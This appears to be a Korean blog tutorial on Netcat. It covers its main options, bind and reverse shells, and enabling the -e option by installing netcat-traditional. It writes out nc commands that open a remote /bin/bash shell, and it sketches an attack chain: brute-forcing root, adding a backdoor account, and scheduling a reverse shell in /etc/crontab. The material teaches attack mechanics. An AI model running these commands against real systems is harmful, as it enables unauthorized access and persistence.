1. Netcat (nc)

- TCP 또는 UDP를 사용하여 네트워크 연결을 읽거나 기록하는 컴퓨터 네트워킹 유틸리티

- UNIX의 cat과 유사하며, cat 명령으로 파일을 읽거나 쓰듯이 NC는 Network Connection에 읽거나 씀

- 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하지만 반면 해킹에서도 자주 사용

 

1.1 주요 옵션

옵션 설명
-l listen 모드로 port 오픈
-L 영구 리스너 생성 (Windows만 작동)
-u Netcat UDP 모드로 전환 (기본값 TCP)
-p local port 지정
-e 연결 후 수행 할 작업
※ 서버에서 -e 옵션 지정 시 서버에서 해당 작업이 수행
 클라이언트에서 -e 옵션 지정 시 클라이언트에서 해당 작업이 수행
-s addr local ip address 지정
-n 호스트 네임과 포트를 숫자로만 입력
-z local ip address 지정
-v verbosity를 증가시키며, 더 많은 정보를 얻을 수 있음
-w secs 시간 종료 값을 정의

 

1.2 바인드쉘

- 일반적인 연결 상태로, 클라이언트가 서버에 접속

- 서버: nc -lnvp 1234 -e /bin/bash
- 클라이언트: nc <서버 IP> 1234

 

[사진 1] 바인드쉘 예시

 

1.3 리버스쉘

- 바인드쉘과 반대로 서버가 클라이언트에 접속, -e 옵션에 의해 클라이언트에서 작업이 수행됨

> 예시의 경우 클라이언트의 /bin/bash가 실행

> 공격자의 PC가 서버가되고, 피해자의 PC가 클라이언트가 되어 명령을 실행

- 서버: nc -lnvp 1234
- 클라이언트: nc <서버 IP> 1234 -e /bin/bash

 

- 일반적으로 방화벽은 네트워크 최상단에 설치되어 외부에서 내부로 들어오는 연결차단

> 반대로 내부에서 외부로 나가는 연결에 대해서는 상대적으로 허용하는 경우가 많음

> 이를 이용해 공격자는 공격 PC를 서버로 동작시킨 뒤, 피해 PC에서 명령 실행 및 공격 PC로 접근해 쉘을 획득

 

- 일반적인 리버스쉘 시나리오는 다음과 같음

① 공격자는 내부 네트워크에 침입한 후 무차별대입공격으로 root 계정 탈취

② 반복적인 침입을 위해 root 계정을 이용해 root 권한을 가지는 일반 사용자 계정 생성

③ netcat 프로그램을 이용한 리버스쉘 연결 작업을 cron table에 등록(/etc/crontab)

④ 공격자는 주기적으로 shell을 획득해 추가 명령 수행

 

[사진 2] 리버스쉘 예시

 

2. -e 옵션

- 앞서 살펴보았듯이 -e 옵션은 연결을 생성한 후 실행할 명령 등의 작업을 지정함

- 침해 상황을 가정해 nc를 통해 리버스쉘 연결을 시도한 결과 -e 옵션이 유효하지 않다고 확인

[사진 3] 유효하지 않은 -e 옵션

 

- 구글링을 해보니 비활성화된 (또는 지원하지 않는) 버전의 nc를 사용한 결과라고 함

> 따라서, -e 옵션을 지원하는 nc 버전 (netcat-traditional)을 설치하고, 해당 버전으로 설정해야 함

# sudo apt-get install -y netcat-traditional
# sudo update-alternatives --config nc

 

- 두 번째 명령 실행 결과를 확인해보면 현재 /bin/nc.openbsd 버전을 사용하고 있는 것으로 확인 됨

> 설치한 netcat-traditional (nc.traditional)으로 변경

[사진 4] sudo update-alternatives --config nc 결과 비교

 

- 변경 후 -e 옵션을 실행하면 정상적으로 리버스쉘이 생성됨

[사진 5] 리버스쉘 생성

+ Recent posts